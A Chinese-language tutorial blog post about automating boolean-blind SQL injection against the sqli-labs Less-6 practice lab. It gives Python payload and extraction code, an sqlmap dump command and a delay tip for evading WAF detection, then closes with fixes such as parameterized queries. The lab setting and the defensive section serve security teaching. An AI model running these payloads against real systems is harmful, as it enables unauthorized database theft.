指路明灯君1. sqli-labs-Less-6 挑战概述
sqli-labs 是一个专为学习 SQL 注入技术设计的靶场环境，其中 Less-6 是一个典型的基于错误的双引号字符型注入漏洞。这个关卡的特殊之处在于它使用了双引号包裹用户输入，而不是常见的单引号，这使得许多初学者在手动测试时容易忽略引号闭合的问题。
在实际渗透测试中，自动化注入可以显著提高效率。对于 Less-6 这种已知漏洞类型的靶场环境，我们可以通过编写 Python 脚本配合 SQLMap 来实现快速注入。这种方法不仅适用于学习场景，其原理同样可以迁移到授权测试的实际项目中。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与目标分析
2.1 基础环境配置
首先需要确保你的测试环境已经正确搭建：
- 下载 sqli-labs 靶场（GitHub 搜索 "sqli-labs"）
- 配置 PHP 环境（推荐 XAMPP/WAMP）
- 确保数据库连接正常（默认为 MySQL）
启动环境后访问 Less-6 的页面，你会看到一个简单的输入表单，URL 结构通常为：
code复制http://localhost/sqli-labs/Less-6/?id=1
2.2 漏洞特征分析
通过手动测试可以发现以下关键特征：
- 输入单引号时页面返回正常
- 输入双引号时触发数据库错误
- 错误信息中明确显示 SQL 语句结构：
code复制You have an error in your SQL syntax... near '"1""' at line 1
这表明注入点使用双引号包裹输入值，这是后续自动化脚本需要处理的核心问题。
3. 自动化注入工具链搭建
3.1 Python 请求库选择
我们使用 requests 库作为基础 HTTP 客户端，相比 urllib 有更好的可读性和功能支持：
python复制import requests
from urllib.parse import quote
TARGET_URL = "http://localhost/sqli-labs/Less-6/"
3.2 注入载荷生成器
针对双引号注入点，需要特殊处理载荷的引号闭合：
python复制def build_payload(test):
base = '" AND {test} AND "1"="1'.format(test=test)
return quote(base) # URL编码特殊字符
3.3 布尔盲注检测模块
实现基于响应内容的真值判断：
python复制def test_condition(condition):
payload = build_payload(condition)
r = requests.get(TARGET_URL, params={"id": "1"+payload})
return "You are in" in r.text # 特征字符串判断
4. 完整自动化注入实现
4.1 数据库名枚举
通过二分法加速数据库名猜测过程：
python复制def get_database_name():
name = ""
for i in range(1, 20):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
condition = f"ascii(substr(database(),{i},1))>{mid}"
if test_condition(condition):
low = mid + 1
else:
high = mid - 1
if low > 32:
name += chr(low)
print(f"[+] Current name: {name}")
else:
break
return name
4.2 表名与列名提取
扩展脚本实现多级数据提取：
python复制def get_tables(db):
tables = []
for i in range(0, 10): # 假设最多10个表
table_name = ""
for j in range(1, 30): # 每个表名最长30字符
# 类似数据库名的提取逻辑
pass
if table_name:
tables.append(table_name)
return tables
5. SQLMap 高级参数配置
虽然手动脚本有教学价值，但在实际测试中我们可以优化 SQLMap 的使用：
bash复制sqlmap -u "http://localhost/sqli-labs/Less-6/?id=1" \
--prefix='"' \
--suffix=' AND "1"="1"' \
--level=3 --risk=3 \
--batch --dump
关键参数说明：
--prefix/suffix：处理双引号闭合问题--technique=B：强制使用布尔盲注--tamper=chardoubleencode：处理特殊字符编码
6. 实战中的注意事项
-
编码问题处理：
- 遇到 Base64 编码参数时使用
--tamper=base64encode - JSON 格式注入需要添加
--headers="Content-Type: application/json"
- 遇到 Base64 编码参数时使用
-
WAF 绕过技巧：
python复制# 在Python脚本中添加随机延迟 import random, time time.sleep(random.uniform(0.5, 2)) -
日志清理：
- 自动化测试前备份数据库
- 使用
--flush-session避免缓存影响
7. 防御方案与修复建议
对于开发人员，应该：
-
使用参数化查询：
php复制$stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $_GET['id']); -
实施输入验证：
php复制if(!is_numeric($_GET['id'])) { die("Invalid input"); } -
配置安全的数据库权限：
- 应用账户使用最小权限原则
- 禁用敏感函数如
LOAD_FILE()
这个自动化注入方案不仅适用于 sqli-labs 靶场，经过适当修改后可以应用于各类授权渗透测试项目。关键在于理解底层原理而非简单复制代码，这样才能应对各种变种场景。